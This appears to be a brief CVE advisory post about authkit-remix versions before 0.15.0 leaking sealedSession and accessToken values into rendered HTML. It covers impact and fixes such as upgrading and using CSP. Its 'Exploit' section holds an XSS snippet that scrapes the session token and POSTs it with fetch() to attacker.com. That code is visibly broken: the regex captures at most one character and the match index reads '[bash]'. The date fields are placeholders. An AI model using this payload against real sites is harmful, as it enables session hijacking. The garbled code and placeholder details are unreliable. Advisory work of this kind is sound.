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How the CVE Works
The vulnerability in @workos-inc/authkit-remix (versions <0.15.0) exposed sensitive authentication tokens (sealedSession and accessToken) by returning them directly in the `authkitLoader` response. These tokens were then rendered into the browser’s HTML, making them accessible to client-side scripts. Attackers could exploit this via XSS, malicious extensions, or manual HTML inspection to hijack sessions, impersonate users, or gain unauthorized access to protected resources. The fix removes these tokens from default responses and introduces a secure server-side token retrieval mechanism.
DailyCVE Form
Platform: @workos-inc/authkit-remix
Version: <0.15.0
Vulnerability: Sensitive Data Exposure
Severity: Critical
Date: 2023-XX-XX
Prediction: Patch expected 2023-XX-XX
What Undercode Say
Analytics:
curl -s https://api.github.com/repos/workos/authkit-remix/releases/latest | grep "tag_name" npm audit --production | grep "authkit-remix"
Exploit:
// Malicious XSS payload extracting tokens
const stolenTokens = JSON.parse(document.body.innerHTML.match(/sealedSession":"(.?)"/)[bash]);
fetch("https://attacker.com/steal", { method: "POST", body: stolenTokens });
Protection from this CVE:
– Update to v0.15.0+
– Sanitize HTML outputs
– Use CSP headers
Impact:
Session hijacking
Unauthorized access
Token leakage
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
